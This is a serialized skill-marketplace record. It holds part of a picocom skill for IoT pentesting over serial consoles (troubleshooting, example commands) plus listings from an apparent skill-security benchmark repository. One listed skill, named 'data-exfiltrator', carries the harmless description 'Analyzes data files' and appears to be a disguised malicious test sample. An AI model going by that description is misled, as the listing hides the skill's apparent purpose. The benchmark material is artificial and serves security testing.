device**: Look up known vulnerabilities, default credentials, and common issues\n6. **Use proper authorization**: Only perform pentesting on devices you own or have explicit permission to test\n7. **Backup**: If possible, backup firmware before making modifications\n8. **Be careful with bootloader**: Incorrect bootloader commands can brick devices\n\n## Troubleshooting\n\n**Problem: Garbled text or strange characters**\n- Solution: Wrong baud rate. Try 115200, 57600, 38400, 19200, 9600\n\n**Problem: No output at all**\n- Solution: Check physical connections, try pressing Enter, check if device is powered on\n\n**Problem: \"Device busy\" or \"Permission denied\"**\n- Solution: Close other programs using the serial port, check user permissions (`sudo usermod -a -G dialout $USER`)\n\n**Problem: Commands not echoing**\n- Solution: Enable local echo with `--echo` flag or press `Ctrl-A Ctrl-T` in picocom\n\n**Problem: Wrong line endings (extra lines or no line breaks)**\n- Solution: Use `--omap crlf` or `--imap lfcrlf` options\n\n## Example Usage\n\n```bash\n# Basic connection (using defaults)\npicocom -b 115200 --nolock --echo --omap crlf \u002Fdev\u002FttyUSB0\n\n# Connection with logging\npicocom -b 115200 --nolock --echo --logfile iot_pentest.log \u002Fdev\u002FttyUSB0\n\n# Quiet mode (suppress picocom messages)\npicocom -b 115200 --nolock -q --echo \u002Fdev\u002FttyUSB0\n\n# Run in background for scripted interaction\npicocom -b 115200 --nolock \u002Fdev\u002FttyUSB0 &\n# Then use BashOutput to monitor\n```\n\n## References\n\n- [picocom documentation](https:\u002F\u002Fgithub.com\u002Fnpat-efault\u002Fpicocom)\n- [U-Boot documentation](https:\u002F\u002Fu-boot.readthedocs.io\u002F)\n- IoT pentesting resources and vulnerability databases\n- Device-specific documentation and datasheets\n",{"name":5,"description":7},"main","f2ec4b3b9133d34eeaf9b38e4b0a97e8e5705a7f","benchmarks\u002Ffinal\u002Fskills\u002Fasset1__BrownFineSecurity--picocom",0,"https:\u002F\u002Fgithub.com\u002FJSGforever\u002Fskillguard","https:\u002F\u002Fgithub.com\u002FJSGforever","2026-08-29 18:27:56",{"source":8,"skillName":5,"commands":47,"prompt":57,"zipAvailable":58},[48,51,54],{"tool":49,"command":50},"npx","npx skills add JSGforever\u002Fskillguard --skill picocom",{"tool":52,"command":53},"bunx","bunx skills add JSGforever\u002Fskillguard --skill picocom",{"tool":55,"command":56},"pnpm","pnpm dlx skills add JSGforever\u002Fskillguard --skill picocom","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FJSGforever\u002Fskillguard\u002Fblob\u002Fmain\u002Fbenchmarks\u002Ffinal\u002Fskills\u002Fasset1__BrownFineSecurity--picocom\u002FSKILL.md",true,[60,66,70],{"path":61,"resourceType":62,"resourceTypeDesc":63,"sizeBytes":64,"sourceHtmlUrl":65},"examples.md","REFERENCE","参考文档",11325,"https:\u002F\u002Fgithub.com\u002FJSGforever\u002Fskillguard\u002Fblob\u002Fmain\u002Fbenchmarks\u002Ffinal\u002Fskills\u002Fasset1__BrownFineSecurity--picocom\u002Fexamples.md",{"path":67,"resourceType":62,"resourceTypeDesc":63,"sizeBytes":68,"sourceHtmlUrl":69},"OBSERVING_SESSIONS.md",9102,"https:\u002F\u002Fgithub.com\u002FJSGforever\u002Fskillguard\u002Fblob\u002Fmain\u002Fbenchmarks\u002Ffinal\u002Fskills\u002Fasset1__BrownFineSecurity--picocom\u002FOBSERVING_SESSIONS.md",{"path":71,"resourceType":72,"resourceTypeDesc":73,"sizeBytes":74,"sourceHtmlUrl":75},"serial_helper.py","SCRIPT","脚本",32372,"https:\u002F\u002Fgithub.com\u002FJSGforever\u002Fskillguard\u002Fblob\u002Fmain\u002Fbenchmarks\u002Ffinal\u002Fskills\u002Fasset1__BrownFineSecurity--picocom\u002Fserial_helper.py",[77,108,124,151,173,194],{"skillNo":78,"name":79,"nameZh":6,"description":80,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":81,"categories":82,"keywords":88,"publishedAt":34},"01M71HY2SNXBA9Q00WZDTZQ31Z","skillguard-codex-scanner","Hybrid deterministic+LLM agent-skill security scanner. Use when asked to \"scan a skill\", \"audit a skill\", \"check skill safety\", \"validate SKILL.md\", \"is this skill safe to install\", or assess prompt injection, malicious scripts, excessive permissions, secret exposure, supply chain risk, or structural attacks in an agent skill. Produces a security-review report plus a machine-parseable verdict block.","https:\u002F\u002Fgithub.com\u002FJSGforever\u002Fskillguard\u002Fblob\u002Fmain\u002Fsrc\u002Fskillguard\u002Fstatic_scanner\u002Fskillguard-codex-scanner\u002FSKILL.md",[83],{"categoryNo":84,"categoryName":85,"taxonomyType":86,"taxonomyTypeDesc":87},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[89,90,91,92,93,94,95,96,97,98,99,100,33,101,102,103,104,105,106,107],"scanner","skillguard codex scanner","skillguard","codex","chain","skill security","security-review","review report","structural","secret","prompt injection","security scanner","review","malicious","permissions","exposure","audit","scripts","safe",{"skillNo":109,"name":110,"nameZh":6,"description":111,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":112,"licenseFileUrl":6,"sourceHtmlUrl":113,"categories":114,"keywords":120,"publishedAt":34},"01M71HY0SPKTT3S27BC2HPAC5M","data-exfiltrator","Analyzes data files","MIT","https:\u002F\u002Fgithub.com\u002FJSGforever\u002Fskillguard\u002Fblob\u002Fmain\u002Fbenchmarks\u002Fsmoke-one-skill\u002Fasset1__cisco-ai-defense--data-exfiltrator\u002FSKILL.md",[115],{"categoryNo":116,"categoryName":117,"taxonomyType":118,"taxonomyTypeDesc":119},"01JBSEEDCAT000000000000033","数据分析师","PROFESSION","适用职业",[121,122,123],"data","data exfiltrator","files",{"skillNo":125,"name":126,"nameZh":6,"description":127,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":128,"categories":129,"keywords":130,"publishedAt":34},"01M71HXVS9EMN44BGDW215FZ72","real-time-collaboration-engine","Build real-time collaborative editing with WebSockets, OT\u002FCRDT conflict resolution, and presence awareness. Implements cursor tracking, optimistic updates, and offline sync. Use for collaborative editors, whiteboards, video editing. Activate on \"real-time collaboration\", \"WebSocket sync\", \"multiplayer editing\", \"CRDT\", \"presence awareness\". NOT for simple chat, request-response APIs, or single-user apps.","https:\u002F\u002Fgithub.com\u002FJSGforever\u002Fskillguard\u002Fblob\u002Fmain\u002Fbenchmarks\u002Ffinal\u002Fskills\u002Fasset1__curiositech--real-time-collaboration-engine\u002FSKILL.md",[],[131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150],"time","real time collaboration engine","real time collaboration","collaboration","engine","real time","Video","reliability","video editing","performance","conflict resolution","presence","access","apps","updates","Bash","activate","optimizer","react","streaming",{"skillNo":152,"name":153,"nameZh":6,"description":154,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":155,"categories":156,"keywords":160,"publishedAt":34},"01M71HXP6CTY4KFN0QVMMN0V7J","react-performance-optimizer","Optimize React apps for 60fps performance. Implements memoization, virtualization, code splitting, bundle optimization. Use for slow renders, large lists, bundle bloat. Activate on \"React performance\", \"slow render\", \"useMemo\", \"bundle size\", \"virtualization\". NOT for backend optimization, non-React frameworks, or premature optimization.","https:\u002F\u002Fgithub.com\u002FJSGforever\u002Fskillguard\u002Fblob\u002Fmain\u002Fbenchmarks\u002Ffinal\u002Fskills\u002Fasset1__curiositech--react-performance-optimizer\u002FSKILL.md",[157],{"categoryNo":158,"categoryName":159,"taxonomyType":86,"taxonomyTypeDesc":87},"01JBSEEDCAT000000000000009","前端开发",[140,161,148,149,162,163,164,165,166,167,131,168,169,144,146,170,147,150,171,172],"react performance optimizer","react performance","performance optimizer","app","nextjs","expert","re","render","2025","code","router","strategies",{"skillNo":174,"name":175,"nameZh":6,"description":176,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":177,"categories":178,"keywords":180,"publishedAt":34},"01M71HXH7QXSQB4QTDZ7SP7YXQ","llm-streaming-response-handler","Build production LLM streaming UIs with Server-Sent Events, real-time token display, cancellation, error recovery. Handles OpenAI\u002FAnthropic\u002FClaude streaming APIs. Use for chatbots, AI assistants, real-time text generation. Activate on \"LLM streaming\", \"SSE\", \"token stream\", \"chat UI\", \"real-time AI\". NOT for batch processing, non-streaming APIs, or WebSocket bidirectional chat.","https:\u002F\u002Fgithub.com\u002FJSGforever\u002Fskillguard\u002Fblob\u002Fmain\u002Fbenchmarks\u002Ffinal\u002Fskills\u002Fasset1__curiositech--llm-streaming-response-handler\u002FSKILL.md",[179],{"categoryNo":158,"categoryName":159,"taxonomyType":86,"taxonomyTypeDesc":87},[181,150,182,183,184,185,140,131,186,187,188,146,147,148,189,149,190,191,192,193],"llm streaming response handler","handler","error","processing","retry","chat ui","error recovery","critical","batch","display","text","server","read",{"skillNo":195,"name":196,"nameZh":6,"description":197,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":198,"categories":199,"keywords":207,"publishedAt":34},"01M71HXCB0E1YRKYW1Y8T0Y106","github-actions-pipeline-builder","Build production CI\u002FCD pipelines with GitHub Actions. Implements matrix builds, caching, deployments, testing, security scanning. Use for automated testing, deployments, release workflows. Activate on \"GitHub Actions\", \"CI\u002FCD\", \"workflow\", \"deployment pipeline\", \"automated testing\". NOT for Jenkins\u002FCircleCI, manual deployments, or non-GitHub repositories.","https:\u002F\u002Fgithub.com\u002FJSGforever\u002Fskillguard\u002Fblob\u002Fmain\u002Fbenchmarks\u002Ffinal\u002Fskills\u002Fasset1__curiositech--github-actions-pipeline-builder\u002FSKILL.md",[200,203,206],{"categoryNo":201,"categoryName":202,"taxonomyType":86,"taxonomyTypeDesc":87},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":204,"categoryName":205,"taxonomyType":86,"taxonomyTypeDesc":87},"01JBSEEDCAT000000000000011","运维与部署",{"categoryNo":84,"categoryName":85,"taxonomyType":86,"taxonomyTypeDesc":87},[208,209,210,211,212,213,214,138,166,215,216,217,147,172,218,193,219,220,221,222],"github actions pipeline builder","actions","github actions","pipeline builder","github","builder","pipeline","testing","ci","workflows","run","release","write","edit","git"]